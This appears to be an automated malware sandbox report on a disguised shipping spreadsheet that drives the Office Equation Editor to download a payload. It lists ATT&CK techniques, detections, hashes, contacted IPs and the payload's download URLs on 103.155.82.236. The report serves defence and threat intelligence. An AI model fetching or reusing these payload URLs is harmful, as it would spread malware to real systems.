Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection612	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information11	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information41	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing3	Proc Filesystem	System Information Discovery113	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Extra Window Memory Injection1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.vbc.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File
7.2.netsh.exe.29cf834.4.unpack	100%	Avira	HEUR/AGEN.1110362		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://cgi.search.biglobe.ne.jp/favicon.ico	0%	Virustotal		Browse
http://cgi.search.biglobe.ne.jp/favicon.ico	0%	Avira URL Cloud	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://www.ozu.es/favicon.ico	0%	URL Reputation	safe
http://www.ozu.es/favicon.ico	0%	URL Reputation	safe
http://www.ozu.es/favicon.ico	0%	URL Reputation	safe
http://www.ozu.es/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
glendalesocialmediaagency.com	34.102.136.180	true	false	unknown
www.switchfinder.com	unknown	unknown	true	unknown
www.glendalesocialmediaagency.com	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://search.chol.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.mercadolivre.com.br/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.merlin.com.pl/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.de/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.mtv.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.rambler.ru/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.nifty.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.dailymail.co.uk/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www3.fnac.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://buscar.ya.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.yahoo.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.iis.fhg.de/audioPA	explorer.exe, 00000006.00000000.2178898081.0000000004B50000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sogou.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://asp.usatoday.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://fr.search.yahoo.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
https://github.com/georgw777/MediaManager;https://github.com/georgw777/	vbc.exe, 00000004.00000002.2169328124.0000000000FA2000.00000020.00020000.sdmp, vbc.exe, 00000005.00000000.2168397279.0000000000FA2000.00000020.00020000.sdmp, netsh.exe, 00000007.00000002.2372143116.00000000029CF000.00000004.00000001.sdmp	false		high
http://rover.ebay.com	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://in.search.yahoo.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://img.shopzilla.com/shopzilla/shopzilla.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.ebay.in/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://image.excite.co.jp/jp/favicon/lep.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://%s.com	explorer.exe, 00000006.00000000.2189542768.000000000A330000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://msk.afisha.ru/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000004.00000002.2169481701.0000000002481000.00000004.00000001.sdmp	false		high
http://busca.igbusca.com.br//app/static/images/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.rediff.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.windows.com/pctv.	explorer.exe, 00000006.00000000.2177618159.0000000003C40000.00000002.00000001.sdmp	false		high
http://www.ya.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.etmall.com.tw/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://it.search.dada.net/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.naver.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.google.ru/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.hanafos.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cgi.search.biglobe.ne.jp/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.abril.com.br/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.daum.net/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.naver.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.msn.co.jp/results.aspx?q=	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.clarin.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://buscar.ozu.es/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://kr.search.yahoo.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.about.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://busca.igbusca.com.br/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.ask.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.priceminister.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.cjmall.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.centrum.cz/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://suche.t-online.de/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.google.it/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.auction.co.kr/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.ceneo.pl/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.amazon.de/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000006.00000000.2186067219.000000000861C000.00000004.00000001.sdmp	false		high
http://sads.myspace.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://busca.buscape.com.br/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.pchome.com.tw/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://browse.guardian.co.uk/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://google.pchome.com.tw/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://list.taobao.com/browse/search_visual.htm?n=15&q=	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.rambler.ru/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://uk.search.yahoo.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://espanol.search.yahoo.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.ozu.es/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.sify.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://openimage.interpark.com/interpark.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.yahoo.co.jp/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.gmarket.co.kr/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.nifty.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://searchresults.news.com.au/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.google.si/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.google.cz/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.soso.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.univision.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.ebay.it/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://images.joins.com/ui_c/fvc_joins.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.asharqalawsat.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://busca.orange.es/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://cnweb.search.live.com/results.aspx?q=	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://auto.search.msn.com/response.asp?MT=	explorer.exe, 00000006.00000000.2189542768.000000000A330000.00000008.00000001.sdmp	false		high
http://search.yahoo.co.jp	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.target.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://buscador.terra.es/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.orange.co.uk/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.iask.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tesco.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://cgi.search.biglobe.ne.jp/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://search.seznam.cz/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://suche.freenet.de/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.interpark.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.ipop.co.kr/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://investor.msn.com/	explorer.exe, 00000006.00000000.2177618159.0000000003C40000.00000002.00000001.sdmp	false		high
http://search.espn.go.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.myspace.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.centrum.cz/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high
http://p.zhongsou.com/favicon.ico	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://service2.bfast.com/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.%s.comPA	explorer.exe, 00000006.00000000.2192290237.0000000001C70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://ariadna.elmundo.es/	explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.155.82.236	unknown	unknown		134687	TWIDC-AS-APTWIDCLimitedHK	true
34.102.136.180	glendalesocialmediaagency.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	435308
Start date:	16.06.2021
Start time:	11:54:19
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@9/20@2/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 33% (good quality ratio 30.8%) Quality average: 73.7% Quality standard deviation: 30.4%
HCA Information:	Successful, ratio: 95% Number of executed functions: 134 Number of non-executed functions: 59
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, svchost.exe Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtQueryAttributesFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:55:10	API Interceptor	96x Sleep call for process: EQNEDT32.EXE modified
11:55:15	API Interceptor	55x Sleep call for process: vbc.exe modified
11:55:37	API Interceptor	230x Sleep call for process: netsh.exe modified
11:56:26	API Interceptor	1x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
103.155.82.236	MTIR21407379_0062180102_20210614082119.PDF.xlsx	Get hash	malicious	Browse	103.155.82.236/frsdoc/svchost.exe
	Booking Confirmation.xlsx	Get hash	malicious	Browse	103.155.82.236/nrsdoc/svchost.exe
	BL_SGN11203184.xlsx	Get hash	malicious	Browse	103.155.82.236/fksdoc/svchost.exe
	spices requirement.xlsx	Get hash	malicious	Browse	103.155.82.236/fksdoc/svchost.exe
	2773773737646_OOCL_INVOICE_937763.xlsx	Get hash	malicious	Browse	103.155.82.236/fwkdoc/svchost.exe
	DRAFT BL_CMA_CGM.xlsx	Get hash	malicious	Browse	103.155.82.236/fwkdoc/svchost.exe

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TWIDC-AS-APTWIDCLimitedHK	MTIR21407379_0062180102_20210614082119.PDF.xlsx	Get hash	malicious	Browse	103.155.82.236
	Booking Confirmation.xlsx	Get hash	malicious	Browse	103.155.82.236
	BL_SGN11203184.xlsx	Get hash	malicious	Browse	103.155.82.236
	spices requirement.xlsx	Get hash	malicious	Browse	103.155.82.236
	Cancellation_1844611233_06082021.xlsm	Get hash	malicious	Browse	103.155.92.95
	Cancellation_1844611233_06082021.xlsm	Get hash	malicious	Browse	103.155.92.95
	Rebate_18082425_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	Rebate_18082425_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	DEBT_06032021_861309073.xlsm	Get hash	malicious	Browse	103.155.93.93
	DEBT_06032021_861309073.xlsm	Get hash	malicious	Browse	103.155.93.93
	2773773737646_OOCL_INVOICE_937763.xlsx	Get hash	malicious	Browse	103.155.82.236
	Rebate_854427061_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	Rebate_854427061_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	Document_06022021_568261087_Copy.xlsm	Get hash	malicious	Browse	103.155.92.221
	Document_06022021_568261087_Copy.xlsm	Get hash	malicious	Browse	103.155.92.221
	DRAFT BL_CMA_CGM.xlsx	Get hash	malicious	Browse	103.155.82.236
	Document_06022021_1658142991_Copy.xlsm	Get hash	malicious	Browse	103.155.92.221
	Document_06022021_1658142991_Copy.xlsm	Get hash	malicious	Browse	103.155.92.221
	PO (2).exe	Get hash	malicious	Browse	103.153.182.50
	PO.exe	Get hash	malicious	Browse	103.153.182.50

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	862208
Entropy (8bit):	7.675531100401405
Encrypted:	false
SSDEEP:	24576:PquPHpdPsaTH7ZSFSFYeUtKckniLXBlVm:P5TdSTk63
MD5:	FF34B92FE897F13E422B67F5CBC9740C
SHA1:	B145BDA9579274C1648829DF1E37E9500976E271
SHA-256:	1BB79D3F58130C38C2D1C54737AAA69BFDF5693CF6177EFAAC78377020B86AD6
SHA-512:	3CCA2A62EB4129574ACD423DAD2DEA916286189E6F7AB1DA5EADAB1B773E55524DD2584EB24CC08147F006F9F3D1F6AA00D406787B398F79D0A5D5C6D0FA0614
Malicious:	true
Reputation:	low
IE Cache URL:	http://103.155.82.236/frsdoc/svchost.exe
